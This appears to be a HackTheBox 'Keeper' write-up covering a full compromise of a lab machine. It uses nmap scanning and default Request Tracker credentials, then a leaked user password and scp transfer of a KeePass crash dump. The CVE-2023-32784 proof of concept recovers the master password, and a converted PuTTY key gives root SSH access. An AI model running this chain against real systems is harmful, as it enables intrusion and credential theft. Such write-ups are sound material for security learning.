Overview

Keeper is an easy HackTheBox Linux machine built around a Request Tracker (RT) helpdesk instance. Default administrative credentials expose a user’s password in a ticket comment, granting SSH access. From there, a support ticket about a KeePass crash points to a memory dump saved in the user’s home directory, and exploiting CVE-2023-32784 recovers the database’s master password directly from that dump. The database itself holds a PuTTY private key belonging to root, which is converted to OpenSSH format and used to log in as root directly.

Attack Chain

  • Scan the target and identify SSH on port 22 and an HTTP service on port 80
  • Find a landing page hinting at a helpdesk on a subdomain and add tickets.keeper.htb to /etc/hosts
  • Reach a Request Tracker login page and authenticate with default root:password credentials
  • Browse to Admin → Users → Select and find a password left in a user’s comment field
  • Use the recovered credentials to SSH in as lnorgaard and read the user flag
  • Find a mail message about a KeePass crash with a memory dump attached
  • Cross-reference the linked support ticket and find a comment noting the dump was saved to the user’s home directory
  • Transfer the dump and the KeePass database (passcodes.kdbx) to the attacking machine with scp
  • Attempt to crack the database offline with keepass2john and john, without success
  • Exploit CVE-2023-32784 to recover the master password directly from the memory dump
  • Correct a few ambiguous characters in the recovered password using a search-engine spelling correction
  • Open the database with kpcli using the corrected password
  • Find a PuTTY private key stored in the database, belonging to root
  • Convert the key to OpenSSH format with puttygen
  • Use the converted key to SSH in as root and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.229.41; export NAME=KEEPER; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Request Tracker Login

Browsing to port 80 shows a landing page hinting at a helpdesk hosted on a subdomain. We add tickets.keeper.htb to our /etc/hosts file to reach it.

landing page hinting at a subdomain

This brings us to a Request Tracker (RT) login page.

Request Tracker login page

We’re able to log in with default credentials, root:password.

logging in with default RT credentials

Finding Leaked Credentials

We go to Admin, then Users, then Select.

Admin > Users > Select

We select the user lnorgaard.

selecting user lnorgaard

Under the comments section, we find a password.

password left in the comments section

lnorgaard:Welcome2023!

Foothold

We use the recovered credentials to establish an SSH session as lnorgaard.

SSH session as lnorgaard

We read the user flag.

user flag


Privilege Escalation

Finding the KeePass Crash Dump

We check the user’s mail.

cat /var/mail/lnorgaard

There appears to be an issue with KeePass, and a crash dump is attached to the mail.

mail referencing a KeePass crash dump

We look at the referenced ticket for more detail.

http://tickets.keeper.htb/rt/Ticket/Display.html?id=300000

viewing the referenced RT ticket

Scrolling down, a comment notes that the crash dump was saved to lnorgaard’s home directory.

ticket comment about the dump location

ticket comment continued

We use scp to transfer the file to our attacking machine.

scp lnorgaard@$IP:/home/lnorgaard/RT30000.zip loot/

transferring RT30000.zip with scp

We unzip the file.

unzip RT30000.zip

Inside are two files: the KeePass database, passcodes.kdbx, and a dump file, KeePassDumpFull.

unzipped database and dump file

Cracking the Database Password

We first try to crack the database password directly. We use keepass2john to convert it to a john-readable format.

keepass2john passcodes.kdbx > keepass.hash

converting the KeePass hash with keepass2john

We try to crack it.

john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash

We let john run, but without any luck.

After some digging, we find a vulnerability affecting KeePass 2.x, CVE-2023-32784, along with a password-dumper proof of concept:

https://github.com/vdohney/keepass-password-dumper

We clone the repository and run the exploit, but get an error that it needs dotnet 7.0.

exploit requires dotnet 7.0

We have two options: change <TargetFramework> in keepass_password_dumper.csproj from net7.0 to net6.0, or install dotnet 7.0 directly.

changing the TargetFramework in the csproj

We choose to install dotnet 7.0.

sudo apt-get update
sudo apt-get install -y wget apt-transport-https gpg

wget https://packages.microsoft.com/config/debian/12/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
sudo rm packages-microsoft-prod.deb

sudo apt-get update
sudo apt-get install -y dotnet-sdk-7.0

dotnet --list-sdks

dotnet 7.0 is now installed.

dotnet 7.0 SDK installed

Recovering the Master Password from Memory

We run the exploit against the crash dump.

dotnet run ../../loot/KeePassDumpFull.dmp

running the KeePass password dumper exploit

exploit output continued

Looking at the output, the first character is unknown and the second has more than one possible option. The characters we’re certain of spell dgrød med fløde.

We search for this in Google to see if we get a spelling correction.

searching for a spelling correction

This gives us more certainty on the first two characters. We use this password going forward:

rødgrød med fløde

Extracting the PuTTY Key

We open the KeePass database with kpcli using the recovered password.

kpcli
open passcodes.kdbx
rødgrød med fløde

opening the database with kpcli

We view its contents and find a Putty-User-Key-File entry under Network.

cd passcodes
ls
cd Network
ls
show 0 -f

We find a PuTTY SSH key file.

PuTTY SSH key found in the database

We copy the key file to our attacking machine, making sure every line is on its own line with no trailing spaces or newline on the last line.

copying the PuTTY key file

Here’s the cat output.

cat output of the PuTTY key

Root via PuTTY Key Conversion

We use puttygen to convert the PuTTY SSH key to an id_rsa OpenSSH private key.

puttygen putty_ssh_key_file -O private-openssh -o id_rsa

converting the key with puttygen

We know from the original KeePass database that this key belongs to root.

KeePass entry confirming the key user is root

We use the key to log in over SSH as root.

ssh root@$IP -i id_rsa

We have an SSH session as root.

SSH session as root

We read the root flag.

root flag


Key Takeaways

Keeper strings together three separate credential-hygiene failures. Default administrative credentials on Request Tracker gave away a user’s password stored in plain text in a ticket comment, and that same ticketing system then pointed directly at a sensitive crash dump left in a home directory. CVE-2023-32784 shows that even an offline-cracking-resistant master password isn’t safe if the process holding it in memory crashes and dumps that memory to disk, KeePass’s in-memory password obfuscation could be reversed almost completely from the dump. From there, a password manager holding infrastructure secrets, including a root-level PuTTY key, turned a single recovered master password into full host compromise.